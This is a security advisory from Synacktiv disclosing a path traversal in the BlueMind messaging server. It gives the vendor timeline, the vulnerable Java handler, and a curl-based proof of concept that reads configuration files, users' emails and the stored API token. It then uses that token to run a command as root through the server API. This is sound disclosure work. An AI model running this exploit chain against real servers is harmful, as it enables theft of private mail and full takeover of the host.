SYNACKTIV
DIGITAL SECURITY

Path traversal in BlueMind <= 4.0

Security advisory

2019-02-25

Damien PICARD
Julien SZLAMOWICZ

Vulnerability description

Presentation of *BlueMind*

“BlueMind is a complete unified enterprise messaging and communications solution that offers a credible alternative to Exchange, Domino or Google.”[1]

The issue

Synacktiv discovered that *BlueMind* is vulnerable to a path traversal, granting arbitrary read as root on the local filesystem. Given that the web server runs as root it allows to read any file or emails stored by the local Cyrus imap daemon. This vulnerability also allows to read the API key stored on the server which can be used to execute arbitrary command. **This issue allows an authenticated user to read any email stored on the *BlueMind* server and execute arbitrary command as root.**

Affected versions

The last stable version at the time of this advisory, 3.5.11-6 and 4.0-beta2, are known to be affected.

Timeline

Date	Action
2019-02-25	Advisory sent to Anthony Prades of *BlueMind* (anthony.prades[at]bluemind.net)
2019-02-25	Fix arrived in master branch of project
2019-02-26	Release of BlueMind 3.5.11 hotfix 7 fixing the vulnerability for the 3.5.x branch
2019-02-28	Release of BlueMind 4.0 beta3 fixing the vulnerability for th 4.x branch
2019-03-04	Publication of the advisory

1 https://www.bluemind.net/en/

Technical description and proof-of-concept

Local file read vulnerability

In the contact part of the application, users have the possibility to select an avatar to represent a contact. During the upload process, the following HTTP request is issued:

```
GET /contact/image/tmpupload?uuid=<uploaded_file_UUID> HTTP/1.1
Host: example.com
Cookie: <session_cookie>
```

The server returns the content of the image that has been uploaded.

Looking at the *plugin.xml* file for *net.bluemind.webmodule.uploadhandler*, the handler class is *TemporaryImageUploadHandler*.

```
<handler
      class="net.bluemind.webmodule.uploadhandler.internal.TemporaryImageUploadHandler"
      path="image/tmpupload">
</handler>
```

Which implements a request handling method:

```
@Override
public void handle(final HttpServerRequest request) {
    request.exceptionHandler(exceptionHandler(request));
    if (request.method().equals("GET")) {
        String file = request.params().get("uuid");
        File f = repository.getTempFile(file);
        if (f.exists()) {
            request.response().sendFile(f.getAbsolutePath());
        } else {
            request.response().setStatusCode(404);
            request.response().end();
        }
```

This method looks up a file in the *TmpUploadRepository* and sends its content in the HTTP response. Lookup through *getTempFile* in the repository occurs by creating an instance of File with a constant directory and the provided *uuid* of type String.

```
public class TemporaryUploadRepository {
    private File rootPath;
    private Vertx vertx;
    public TemporaryUploadRepository(Vertx vertx) {
        this.vertx = vertx;
        rootPath = new File("/tmp/tmpUpload");
        rootPath.mkdirs();
    }
    [...]
    public File getTempFile(String uuid) {
        return new File(rootPath, uuid);
    }
}
```

An attacker is thus able to provide any arbitrary relative path and access the file. For instance:

```
$ curl https://example.com/contact/image/tmpupload?uuid=../../etc/imapd.conf -H 'Cookie:
<Authenticated_session_cookies>'
########################
# BM configuration    #
########################
```

```
# Configuration directory
configdirectory: /var/lib/cyrus
# Enable meta partitions
metapartition_files: header index cache expunge squat
```

Eventually, given the web server runs as root, it allows to read emails stored in the cyrus imapd spool folder.

The list of mailboxes can be retrieved using the */var/log/mail.log* file:

```
Feb 25 10:17:11 example cyrus/imap[20141]: open: user d^picard@example.com opened Sent (1
messages)
```

Then reading the */var/spool/cyrus/data/example_com/domain/e/example.com/d/user/d^picard/Sent/1.*file, the attacker can retrieve content of the email.

```
Subject: Test
To: Damien Picard <d.picard@example.com>
From: Julien Szlamowicz <j.szlamowicz@example.com>
Message-ID: <b998775e-1599-39e2-7cdc-d6bfc855b01a@example.com>
Date: Mon, 25 Feb 2019 10:10:13 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Firefox/52.0 Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------1080366E49C4AD84EE0FB0BA"
Content-Language: en-US

This is a multi-part message in MIME format.
--------------1080366E49C4AD84EE0FB0BA
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit

Test

--------------1080366E49C4AD84EE0FB0BA
```

The filename is an incremental *id* which can be bruteforced.

Consequently, the attacker can retrieve every single non-deleted emails that have been sent or received via the *BlueMind* server.

Obtaining remote command execution

Another exploitation path is about getting access to the API token stored on the filesystem:

```
$ curl https://example.com/contact/image/tmpupload?uuid=../../etc/bm/bm-core.tok-H 'Cookie:
<Authenticated_session_cookies>'
b********************************3
```

Then use it to perform arbitrary code execution on the BlueMind server as root:

First querying the list of installations with a POST on https://example.com/api/containers/_manage/_list with the following body:

```
curl -i -s -k  -X $'POST' \
    -H $'X-BM-ApiKey: b********************************3'\
    -H $'Content-Type: application/json' \
    --data-binary $'{\"type\": \"installation\", \"verb\": [\"All\"]}' \
    $'https://example.com/api/containers/_manage/_list'
[{"uid":"bluemind-0f68e348-93a0-477b-b6cd-
2873bcd85736","name":"installation","owner":"system","type":"installation","defaultContaine
r":true,"readOnly":false,"domainUid":null,"ownerDisplayname":null,"ownerDirEntryPath":null,
"settings":{},"writable":false,"verbs":[],"offlineSync":false}]
```

Returning a list of installations with their *UID*. This *UID* can be used to query the list of servers on https://example.com/api/servers/$installation_uid/_complete, returning a list of servers including their *UID*.

```
curl -i -s -k  -X $'GET' \
    -H $'X-BM-ApiKey: b********************************3'\
    $'https://example.com/api/servers/bluemind-0f68e348-93a0-477b-b6cd-2873bcd85736/
_complete'
[{"value":{"ip":"192.168.1.10","fqdn":"192.168.1.10","name":"bm-master","tags":["mail/
smtp","mail/imap","mail/imap_frontend","bm/es","bm/core","bm/hps","bm/xmpp","bm/ac","bm/
cal","bm/webmail","bm/contact","bm/settings","bm/redirector","bm/nginx","bm/
pgsql","filehosting/data","influxdb","mail/archive","cti/frontend"]},"uid":"bm-
master","internalId":18,"version":3,"displayName":"192.168.1.10","externalId":null,"created
By":"system","updatedBy":"system","created":1485938626382,"updated":1507737010793}]
```

The command can be issued with a POST request on the API https://example.com/api/servers/$installation_uid/$server_uid/submit_command_and_wait.

```
curl -i -s -k  -X $'POST' \
    -H $'X-BM-ApiKey: b********************************3'\
    --data-binary $'\"id\"' \
    $'https://example.com/api/servers/bluemind-0f68e348-93a0-477b-b6cd-2873bcd85736/bm-
master/submit_command_and_wait'
{"complete":true,"successful":true,"output":["uid=0(root) gid=0(root) groups=0(root)"]}
```